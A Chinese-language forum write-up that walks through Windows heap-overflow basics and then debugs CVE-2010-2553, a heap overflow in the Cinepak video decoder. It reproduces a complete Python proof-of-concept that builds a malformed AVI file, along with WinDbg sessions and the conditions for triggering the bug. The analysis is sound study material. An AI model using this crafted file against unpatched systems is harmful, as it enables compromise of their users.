#include <windows.h>#include <stdio.h> int main () { HANDLE hHeap; char *heap; char str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x1000, 0xffff); __asm int 3 heap = (char *)HeapAlloc(hHeap, 0, 0x10); printf("heap addr: 0x%08x\n", heap); strcpy(heap, str); HeapFree(hHeap, 0, heap); HeapDestroy(hHeap); return 0;}程序在int 3中斷並進入調試器之後,剛剛執行完HeapCreate,起始地址為0x3a0000,根據0day中學到的知識,偏移0x178的位置是空表索引區:0:000> dd 3a0178003a0178 003a0688 003a0688 003a0180 003a0180003a0188 003a0188 003a0188 003a0190 003a0190003a0198 003a0198 003a0198 003a01a0 003a01a0003a01a8 003a01a8 003a01a8 003a01b0 003a01b0003a01b8 003a01b8 003a01b8 003a01c0 003a01c0003a01c8 003a01c8 003a01c8 003a01d0 003a01d0003a01d8 003a01d8 003a01d8 003a01e0 003a01e0003a01e8 003a01e8 003a01e8 003a01f0 003a01f0可以看到0x003a0688那裡就是Freelist[0]中唯一一個空的堆塊:0:000> db 3a0680003a0680 30 01 08 00 00 10 00 00-78 01 3a 00 78 01 3a 00 0..x.:.x.:.003a0690 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .這個空的堆塊大小為0x130*8=0x980位元組,後面的兩個0x003a0178就構成了一個雙向鍊表。F10繼續往下執行,執行完HeapAlloc之後:0:000> db 3a0680003a0680 03 00 08 00 15 01 08 00-78 01 3a 00 78 01 3a 00 ...x.:.x.:.003a0690 00 00 00 00 00 00 00 00-2d 01 03 00 00 10 00 00 ...-..003a06a0 78 01 3a 00 78 01 3a 00-00 00 00 00 00 00 00 00 x.:.x.:....003a06b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .003a06f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .首字節0x03表示該塊的大小為3*8=24位元組,包含16位元組的數據區域和8位元組的塊首,之前保存了雙向鍊表指針的區域雖然內容沒有發生變化,但是這裡已經用來存在數據了。而0x003a06a0處則存在放了新的空閒堆塊雙向鍊表指針。也可以使用Windbg中的!heap指令查看堆塊的情況:0:000> !heap -p No GlobalFlag bits active for this process active heaps: - 140000 HEAP_GROWABLE - 240000 HEAP_GROWABLE HEAP_CLASS_1 - 250000 HEAP_CLASS_8 - 380000 HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1 - 3a0000 HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1 0:000> !heap -p -h 0x3a0000 _HEAP @ 3a0000 No FrontEnd _HEAP_SEGMENT @ 3a0640 CommittedRange @ 3a0680 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 003a0680 0003 0000 [01] 003a0688 00010 - (busy) 003a0698 012d 0003 [10] 003a06a0 00960 - (free) VirtualAllocdBlocks @ 3a0050在我們分配的0x10的堆塊後面,0x3a0698處有一個大小為0x960的空閒堆塊。獲得了堆塊的地址之後,可以使用dt struct addr查看具體的結構體成員值:0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x12d +0x002 PreviousSize : 3 +0x000 SubSegmentCode : 0x0003012d Void +0x004 SmallTagIndex : 0 '' +0x005 Flags : 0x10 '' +0x006 UnusedBytes : 0 '' +0x007 SegmentIndex : 0 '' +0x008 FreeList : _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]這時這個空閒堆塊一切正常。繼續執行完字符串的複製之後:0:000> dt _HEAP_FREE_ENTRY 0x003a0698ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x4141 +0x002 PreviousSize : 0x4141 +0x000 SubSegmentCode : 0x41414141 Void +0x004 SmallTagIndex : 0x41 'A' +0x005 Flags : 0x41 'A' +0x006 UnusedBytes : 0x41 'A' +0x007 SegmentIndex : 0x41 'A' +0x008 FreeList : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]可以看到,由於複製的字符串長度大於堆塊的大小,數據發生了溢出,將後面空閒堆塊中存放的雙向鍊表指針覆蓋成了0x41414141。按照書中的構想,接下來在執行HeapFree的時候,會合併這塊分配出來的堆塊和後面的空閒堆塊,從空閒堆塊的鍊表指針中獲取下一個堆塊地址,進行寫入操作,從而觸發異常。但是在我的實驗中,並沒有發生異常,通過調試,發現這一塊代碼:0:000> peax=00000003 ebx=00000004 ecx=7ffdd000 edx=003a0608 esi=003a0680 edi=003a0000eip=7c910ac2 esp=0012fe7c ebp=0012ff38 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246ntdll!RtlFreeHeap+0x30a:7c910ac2 8d9cc778010000 lea ebx,[edi+eax*8+178h]注意這裡經過計算後,得到的ebx的值是0x3a0190,也就是24位元組的freelist[3]在空表索引區的位置,然後執行了下面的操作:0:000> peax=003a0688 ebx=003a0190 ecx=003a0190 edx=00000008 esi=003a0680 edi=003a0000eip=7c910b07 esp=0012fe7c ebp=0012ff38 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202ntdll!RtlFreeHeap+0x34f:7c910b07 8918 mov dword ptr [eax],ebx ds:0023:003a0688=41414141將之前分配的堆塊中雙向鍊表指針的位置修改成了0x3a0190。也就是說在我的實驗環境中,新釋放的這個堆塊並沒有和後面的空閒堆塊合併,而是被分配到了freelist[3]中,因此也就沒有觸發異常。1.2 Windbg提供的堆調試選項在Windbg中可以使用!gflag [-? | flags]命令設置或取消對應GlobalFlags,從而實現堆調試:0:000> !gflag -?usage: !gflag [-? | flags]Flags may either be a single hex number that specifies all32-bits of the GlobalFlags value, or it can be one or morearguments, each beginning with a + or -, where the + meansto set the corresponding bit(s) in the GlobalFlags and a -means to clear the corresponding bit(s). After the + or -may be either a hex number or a three letter abbreviationfor a GlobalFlag. Valid abbreviations are: soe - Stop On Exception sls - Show Loader Snaps htc - Enable heap tail checking hfc - Enable heap free checking hpc - Enable heap parameter checking hvc - Enable heap validation on call vrf - Enable application verifier htg - Enable heap tagging ust - Create user mode stack trace database htd - Enable heap tagging by DLL dse - Disable stack extensions scb - Enable system critical breaks dhc - Disable Heap Coalesce on Free hpa - Place heap allocations at ends of pages cse - Early critical section event creation dpd - Disable protected DLL verificationhtc:堆尾檢查,在堆塊末尾附加額外信息,檢查是否溢出
hfc:堆釋放檢查,在釋放堆塊時進行各種檢查,防止多次釋放
hpc:堆參數檢查,對傳遞給堆管理的參數進行更多檢查
hpa:啟用頁堆,在堆塊後增加用於檢測溢出的柵欄頁,若發生堆溢出觸及柵欄頁會立刻觸發異常。
設置這個標誌可以定位到導致漏洞的代碼或函數。
CVE-2010-2553存在於Microsoft Windows XP SP2和SP3, Windows Vista SP1和SP2, 以及Windows 7的Cinepak解碼器中,iccvid.dll在解壓縮媒體文件時,沒有對緩衝區大小進行檢測,導致在複製壓縮數據時造成堆溢出。在exploit-db網站上,有ABYSSSEC提供的poc文件生成代碼:import sys def main(): aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00' movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00' cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20' number_of_coded_strips = '\x00\x10' cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00' idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00' avifile = open('poc.avi', 'wb+') avifile.write(aviHeaders) avifile.write(padding) avifile.write(movi_tag) avifile.write(cinepak_codec_data1) avifile.write(number_of_coded_strips) avifile.write(cinepak_codec_data2) avifile.write(idx_tag) avifile.close() print '[-] AVI file generated' if __name__ == '__main__': main()因為了解avi格式只是用於分析漏洞,不需要太詳盡,所以只根據這份代碼生成的poc文件來看文件格式。3.1 avi格式AVI文件採用RIFF文件格式,這種文件格式的基本單元是塊(CHUNK):struct chunk { uint32_t ID; uint32_t Size; uint8_t Data[Size]; };根據上圖的信息,真正的cvid數據應該在movi塊中偏移12個字節的位置(偏移4是00dc標識符,偏移8是數據長度)。3.2 cvid壓縮格式以下格式的理解參考cinepak文檔,可能有錯誤,與《漏洞戰爭》中的分析也有不同,後面調試的時候會嘗試進行驗證。0000h 00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 000010h 00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 410020h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410030h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 410040h 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00根據文檔,Cinepak視頻流通常由如下幾個部分組成:+---+| Frame Header |+---+| Strip 1 Header |+---+| Strip 1 Codebooks |+---+| Strip 1 Frame Vectors |+---+| Strip 2 Header |+---+| Strip 2 Codebooks |+---+| Strip 2 Frame Vectors |+---+| Strip 3 Header |+---+| . . . | . . . | . . . |+---+其中Frame Header長度為10個字節,格式如下:7 6 5 4 3 2 1 0 Field Name Type Value ++0 |0 0 0 0 0 0 0 0| Flags Byte 0 ++1 |0 0 0 0 0 0 0 0| Length of CVID data Unsigned 0x68 +- -+2 |0 0 0 0 0 0 0 0| +- -+3 |0 1 1 0 1 0 0 0| ++4 |0 0 0 0 0 0 0 1| Width of coded frame Unsigned 0x160 +- -+5 |0 1 1 0 0 0 0 0| ++6 |0 0 0 0 0 0 0 1| Height of coded frame Unsigned 0x120 +- -+7 |0 0 1 0 0 0 0 0| ++8 |0 0 0 0 0 0 0 0| Number of coded strips Unsigned 0x10 +- -+9 |0 0 0 1 0 0 0 0| ++從Frame Header中可以得到CVID數據長度為0x68,strip的數量是16個,接下來就是strip的內容了,先看一下Strip 1 Header結構:7 6 5 4 3 2 1 0 Field Name Type Value ++ 0 |0 0 0 1 0 0 0 0| Strip CVID ID Unsigned 0x1000 +- -+ 1 |0 0 0 0 0 0 0 0| ++ 2 |0 0 0 0 0 0 0 0| Size of strip data Unsigned 0x10 +- -+ 3 |0 0 0 1 0 0 0 0| ++ 4 |0 0 0 0 0 0 0 0| Strips top Y position Unsigned 0x0 +- -+ 5 |0 0 0 0 0 0 0 0| ++ 6 |0 0 0 0 0 0 0 0| Strips top X position Unsigned 0x0 +- -+ 7 |0 0 0 0 0 0 0 0| ++ 8 |0 0 0 0 0 0 0 0| Strips bottom Y position Unsigned 0x60 +- -+ 9 |0 1 1 0 0 0 0 0| ++10 |0 0 0 0 0 0 0 1| Strips bottom X position Unsigned 0x160 +- -+11 |0 1 1 0 0 0 0 0| ++緊跟在Header之後的是CVID Chunk,Codebooks和Frame Vectors都在這個結構裡面,其結構如下:7 6 5 4 3 2 1 0 Field Name Type Value ++0 |0 0 1 0 0 0 0 0| CVID Chunk ID Unsigned 0x2000 +- -+1 |0 0 0 0 0 0 0 0| ++2 |0 0 0 0 0 0 0 0| Size of chunk data (N) Unsigned 0x0 +- -+3 |0 0 0 0 0 0 0 0| ++4 | | +- -+5 | | +- . . . . -+ | | Chunk data (N - 4 bytes) Byte +- -+N | | ++所以這個chunk的大小是0。正好這裡也到達了strip 1的16個字節的長度要求。下面應該是下一個strip了(這裡書中說的我和理解的不一樣,書中說這裡是下一個chunk ID)。CVID的數據長度為0x68,超過了已有數據長度。除此之外,strip 2的長度在header中定義的是16個字節,但是裡面的chunk數據長度為0x4141,這肯定是有問題的。不過不知道異常觸發是不是這個原因,還需要進一步分析。
4.1 定位漏洞函數打開Windows Media Player,使用Windbg附加到該進程,然後啟用頁堆,打開poc文件。0:011> !gflag +hpaNew NtGlobalFlag contents: 0x02000000 hpa - Place heap allocations at ends of pages0:011> gModLoad: 73760000 737ab000 C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dllModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 71b20000 71b32000 C:\WINDOWS\system32\MPR.dllModLoad: 02b00000 02b10000 C:\WINDOWS\System32\vmhgfs.dllModLoad: 75f60000 75f67000 C:\WINDOWS\System32\drprov.dllModLoad: 71c10000 71c1e000 C:\WINDOWS\System32\ntlanman.dllModLoad: 71cd0000 71ce7000 C:\WINDOWS\System32\NETUI0.dllModLoad: 71c90000 71cd0000 C:\WINDOWS\System32\NETUI1.dllModLoad: 71c80000 71c87000 C:\WINDOWS\System32\NETRAP.dllModLoad: 71bf0000 71c03000 C:\WINDOWS\System32\SAMLIB.dllModLoad: 75f70000 75f7a000 C:\WINDOWS\System32\davclnt.dllModLoad: 73d70000 73d83000 C:\WINDOWS\system32\shgina.dllModLoad: 75970000 75a68000 C:\WINDOWS\system32\MSGINA.dllModLoad: 74320000 7435d000 C:\WINDOWS\system32\ODBC32.dllModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dllModLoad: 02c80000 02c97000 C:\WINDOWS\system32\odbcint.dllModLoad: 73b50000 73b67000 C:\WINDOWS\system32\AVIFIL32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 73d70000 73d83000 C:\WINDOWS\system32\shgina.dllModLoad: 73760000 737ab000 C:\WINDOWS\system32\ddraw.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dllModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dllModLoad: 73760000 737ab000 C:\WINDOWS\system32\DDRAW.dllModLoad: 73bc0000 73bc6000 C:\WINDOWS\system32\DCIMAN32.dllModLoad: 73940000 73a10000 C:\WINDOWS\system32\D3DIM700.DLLModLoad: 73c00000 73c17000 C:\WINDOWS\system32\iccvid.dll(d4c.794): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00006000 ebx=02891958 ecx=000003f4 edx=0af0fd38 esi=0289b000 edi=0289d000eip=73c022cc esp=0af0fd04 ebp=0af0fd30 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246iccvid!CVDecompress+0x11e:73c022cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi]0:016> kbChildEBP RetAddr Args to Child 0af0fd30 73c0cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e0af0fd60 73c066c8 00134c60 00000000 000d3580 iccvid!Decompress+0x11d0af0fdac 75a71938 00134c60 00000001 0000400d iccvid!DriverProc+0x1bf0af0fdd0 7482fa9e 75a8b500 0000400d 0af0fde8 MSVFW32!ICSendMessage+0x2b0af0fe00 7482f9e9 75a8b500 00000000 000d3580 quartz!CVFWDynLink::ICDecompress+0x3e0af0fec0 74830a55 00e269f8 026335e0 00000000 quartz!CAVIDec::Transform+0x2820af0feec 74830939 00e269f8 00000000 00e272a8 quartz!CVideoTransformFilter::Receive+0x1100af0ff00 7482e67a 00e0d324 00e269f8 0af0ff40 quartz!CTransformInputPin::Receive+0x330af0ff10 74830ca0 00e269f8 00040103 00e272a8 quartz!CBaseOutputPin::Deliver+0x220af0ff40 74830e1c 0af0ff70 0af0ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x1020af0ff84 7482ce30 00000000 00e272a8 00e272a8 quartz!CBaseMSRWorker::PushLoop+0x15e0af0ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a0af0ffa4 7482a121 00000000 774ec8a0 0af0ffec quartz!CBaseMSRWorker::ThreadProc+0x390af0ffb4 7c80b713 00e272a8 00000000 774ec8a0 quartz!CAMThread::InitialThreadProc+0x150af0ffec 00000000 7482a10c 00e272a8 00000000 kernel32!BaseThreadStart+0x370:016> ub iccvid!Decompress+0x11diccvid!Decompress+0x102:73c0cbd8 ffb698000000 push dword ptr [esi+98h]73c0cbde 57 push edi73c0cbdf ff7528 push dword ptr [ebp+28h]73c0cbe2 ff752c push dword ptr [ebp+2Ch]73c0cbe5 ff7530 push dword ptr [ebp+30h]73c0cbe8 ff7514 push dword ptr [ebp+14h]73c0cbeb ff765c push dword ptr [esi+5Ch]73c0cbee e8bb55ffff call iccvid!CVDecompress (73c021ae)現在找到了漏洞函數的位置0x73c0cbee,需要在這裡下斷點重新調試,但是這個地址位於iccvid.dll文件中,只有在程序加載完該DLL文件後才能在這裡下斷點。4.2 DLL函數調試重新附加到Windows Media Player上面,執行命令sxe ld:iccvid,然後打開poc文件,這時會中斷在程序加載iccvid.dll的時候,這時再下斷點:0:009> sxe ld:iccvid0:009> gModLoad: 73c00000 73c17000 C:\WINDOWS\system32\iccvid.dlleax=00000001 ebx=00000000 ecx=00000044 edx=000a2ee0 esi=00000000 edi=00000000eip=7c90e4f4 esp=0230e28c ebp=0230e380 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246ntdll!KiFastSystemCallRet:7c90e4f4 c3 ret0:010> bp 0x73c0cbee0:010> gBreakpoint 0 hiteax=00000001 ebx=01c8fd88 ecx=0005e2c0 edx=fffffee0 esi=00121e08 edi=0293f820eip=73c0cbee esp=01c8fd38 ebp=01c8fd60 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246iccvid!Decompress+0x118:73c0cbee e8bb55ffff call iccvid!CVDecompress (73c021ae)0:005> kbChildEBP RetAddr Args to Child 01c8fd30 73c0cbf3 0011e078 02676af8 00000068 iccvid!CVDecompress01c8fd60 73c066c8 00121e08 00000000 00170f80 iccvid!Decompress+0x11d01c8fdac 75a71938 00121e08 00000001 0000400d iccvid!DriverProc+0x1bf01c8fdd0 7482fa9e 75a8b500 0000400d 01c8fde8 MSVFW32!ICSendMessage+0x2b01c8fe00 7482f9e9 75a8b500 00000000 00170f80 quartz!CVFWDynLink::ICDecompress+0x3e01c8fec0 74830a55 00e03cd8 00e2c240 00000000 quartz!CAVIDec::Transform+0x28201c8feec 74830939 00e03cd8 00000000 00e2b050 quartz!CVideoTransformFilter::Receive+0x11001c8ff00 7482e67a 00dbc30c 00e03cd8 01c8ff40 quartz!CTransformInputPin::Receive+0x3301c8ff10 74830ca0 00e03cd8 00040103 00e2b050 quartz!CBaseOutputPin::Deliver+0x2201c8ff40 74830e1c 01c8ff70 01c8ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x10201c8ff84 7482ce30 00000000 00e2b050 00e2b050 quartz!CBaseMSRWorker::PushLoop+0x15e01c8ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a01c8ffa4 7482a121 00000000 000a0178 01c8ffec quartz!CBaseMSRWorker::ThreadProc+0x3901c8ffb4 7c80b713 00e2b050 00000000 000a0178 quartz!CAMThread::InitialThreadProc+0x1501c8ffec 00000000 7482a10c 00e2b050 00000000 kernel32!BaseThreadStart+0x37可以看到當前函數的參數,第三個參數是0x68,就是我們上面分析的CVID數據長度。再加上對於漏洞本身的了解,合理猜測前面兩個參數是數據複製的目的地址和源地址,看一下:0:005> db 11e0780011e078 3b 9f c0 73 3b 9f c0 73-bc 4f c0 73 3e 52 c0 73 ;..s;..s.O.s>R.s0011e088 7b 53 c0 73 5c 75 c0 73-5c 75 c0 73 78 1e 17 00 {S.s\u.s\u.sx...0011e098 78 1e 17 00 00 00 00 00-50 01 20 01 00 00 01 00 x..P. 0011e0a8 00 00 00 00 78 7e 17 00-00 00 00 00 00 00 00 00 ....x~0011e0b8 05 00 09 00 ae 01 08 00-e8 e0 11 00 00 00 00 00 .0011e0c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .0011e0d8 00 00 00 00 00 00 00 00-05 00 05 00 a5 01 08 00 .0011e0e8 38 e1 11 00 00 00 00 00-00 00 00 00 00 00 00 00 80:005> dds 11e0780011e078 73c09f3b iccvid!ExpandCodeBook320011e07c 73c09f3b iccvid!ExpandCodeBook320011e080 73c04fbc iccvid!DrawKey320011e084 73c0523e iccvid!DrawSmooth320011e088 73c0537b iccvid!DrawInter320011e08c 73c0755c iccvid!DetailCodeFromRGBa88880011e090 73c0755c iccvid!DetailCodeFromRGBa88880011e094 00171e780011e098 00171e780011e09c 000000000011e0a0 01200150 xpsp2res+0x1e01500:005> db 2676af802676af8 00 00 00 68 01 60 01 20-00 10 10 00 00 10 00 00 ...h.`. ...02676b08 00 00 00 60 01 60 20 00-00 00 11 00 00 10 41 41 ...`.` ..AA02676b18 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41 AAAAAAAAAA....AA02676b28 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41 AAAAAAAAAA....AA02676b38 41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 00 AAAAAAAAAA....A.02676b48 69 64 78 31 10 00 00 00-30 30 64 63 10 00 00 00 idx1....00dc....02676b58 04 00 00 00 68 00 00 00-00 00 00 00 00 00 00 00 ....h.02676b68 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .第二個參數0x2676af8處的數據是不是特別眼熟,就是上面的CVID數據,看來第二個參數確實是源數據。而第一個參數那裡保存的是一些函數地址,不知道有什麼用(後來發現這裡的一塊空間應該是用於存儲數據的)。4.3 漏洞函數代碼分析接下來我是IDA+Windbg同步進行分析的,由於Windbg的結果貼上來實在太冗雜了,所以直接貼上IDA中的代碼分析結果:int __stdcall CVDecompress(ULONG data, int src, int length, int a4, int a5, int a6, int a7){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] data_ = data; v8 = *(data + 36); if... result = 0; if ( length >= 0x20 ) { src_ = src; BYTE1(result) = *(src + 1); LOBYTE(result) = *(src + 2); v11 = *(src + 3) | (result << 8); // 這裡得到的還是length, 0x68 if ( length < v11 || (HIBYTE(length) = *src, ULongSub(v11, 10u, &remain_len) < 0) )// 這裡做了一個運算0x68-10,減去了頭部的長度看是否還大於0 {LABEL_33: result = 0; } else { HIBYTE(nStrip) = *(src_ + 8); strip = (src_ + 10); // 加上了頭部的長度,現在指向strip 1的起始位置 strip_idx = 0; strip_ = strip; strip__ = strip; LOBYTE(nStrip) = *(strip - 1); // 這裡是strip的個數 nStrip_ = nStrip; if ( nStrip ) { v32 = 0; do { if ( remain_len < 0x16 ) break; HIBYTE(v14) = strip[1]; LOBYTE(v14) = strip[2]; strip_len = strip[3] | (v14 << 8); if ( remain_len < strip_len ) break; if ( *strip == 0x10 || *strip == 0x11 )// 檢查strip ID { if ( ULongSub(strip_len, 0xCu, &data) < 0 )// 這裡又減去了strip header的長度 12個字節 // data的位置存儲的是差值 goto LABEL_33; HIBYTE(bottom_y) = strip[8]; HIBYTE(top_y) = strip[4]; LOBYTE(bottom_y) = strip[9]; LOBYTE(top_y) = strip[5]; v17 = bottom_y - top_y; LOWORD(v17) = *(data_ + 46) * v17; src = v17; if ( v32 && !HIBYTE(length) && *strip == 0x11 )// 當遍歷到第二個strip的時候,條件都滿足,進入if塊 { qmemcpy((*(data_ + 28) + v32), (*(data_ + 28) + v32 - 0x2000), 0x2000u);// 異常發生在這裡 strip = strip_; } chunk = strip__ + 12; // 這裡又加上了strip header的長度,目前指向了chunk chunk_ = strip + 12; *(data_ + 56) = v32 + *(data_ + 32); chunk__ = strip + 12; *(data_ + 60) = a7; while ( data >= 4 ) { HIBYTE(v20) = chunk_[1]; LOBYTE(v20) = chunk_[2]; chunk_size = chunk_[3] | (v20 << 8); chunk_size_ = chunk_size; if ( data < chunk_size ) // 驗證chunk_size的大小 break; switch... // 這裡在檢查chunk ID,根據chunk ID處理chunk數據 chunk_ = &chunk__[chunk_size_]; v22 = 1; chunk += chunk_size_; chunk__ += chunk_size_; if ( chunk_size_ > 1 ) v22 = chunk_size_; data -= v22; } a6 += a7 * src; ++strip_idx; v32 += 0x2000; } strip__ += strip_len; // 接著處理下一個strip remain_len -= strip_len; strip += strip_len; strip_ = strip; } while ( strip_idx < nStrip_ ); } result = 1; } } return result;}每次遇到strip ID是0x1100的時候,都會進行數據的複製操作,每次複製的字節數為0x2000,這裡並沒有判斷堆中是否能夠容納這麼多的數據,查看一下堆塊的大小:0:005> !heap -p -a edi address 00173e78 found in _HEAP @ a0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00171e70 0c01 0000 [01] 00171e78 06000 - (busy) ? wmploc+93可以看到這個堆的大小是0x6000,也就是說複製三次數據就滿了,第四次再複製的時候就會導致堆溢出。4.4 小總結4.4.1 關於cvid壓縮格式目前看來我對於CVID格式的理解是沒什麼問題的,chunk是strip的一部分,strip1後面跟著strip2,以此類推。4.4.2 如何觸發漏洞1、CVID數據長度就按照數據總長度設置,需要大於0x202、包含大於3個,且ID為0x1100的strip
!heap -p -h HANDLE:查看對應HANDLE的詳細分配信息!heap -p -a ADDR:顯示具體某個堆塊的詳細信息2、dt STRUCTURE ADDR:按照STRUCTURE結構顯示ADDR處結構體各成員值3、!gflag [-? | flags]指令用於堆調試,重點標誌:htc, hfc, hpc, hpa4、sx:用於控制被調試程序發生某異常或特定事件時,調試器要採取的動作sxe ld:ModuleName 在首次加載ModuleName的時候中斷。
這次漏洞分析花費的時間主要集中在前面對於堆溢出相關知識的複習,以及AVI格式的學習上。一旦對于格式有所了解,使用!gflag定位到漏洞函數後,代碼分析就很簡單了。!gflag和!heap命令在堆溢出的漏洞分析上幫助很大;如何使用Windbg,在加載DLL之後設置斷點也是新接觸到的一個知識點。對於該漏洞本身,在剛看到漏洞介紹時,我只以為是在單次strcpy調用時複製的數據超過了目標空間大小,但實際調試時發現是多次同樣大小的數據複製最終超過了目標空間大小,雖然原理相同,但這裡需要判斷的其實應該是複製的次數而不是大小了。1、《漏洞戰爭》
2、Common WinDbg Commands (Thematically Grouped)
3、AVI文件格式詳解
4、cinepak文檔
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪論壇 LarryS 原創,轉載請註明來自看雪社區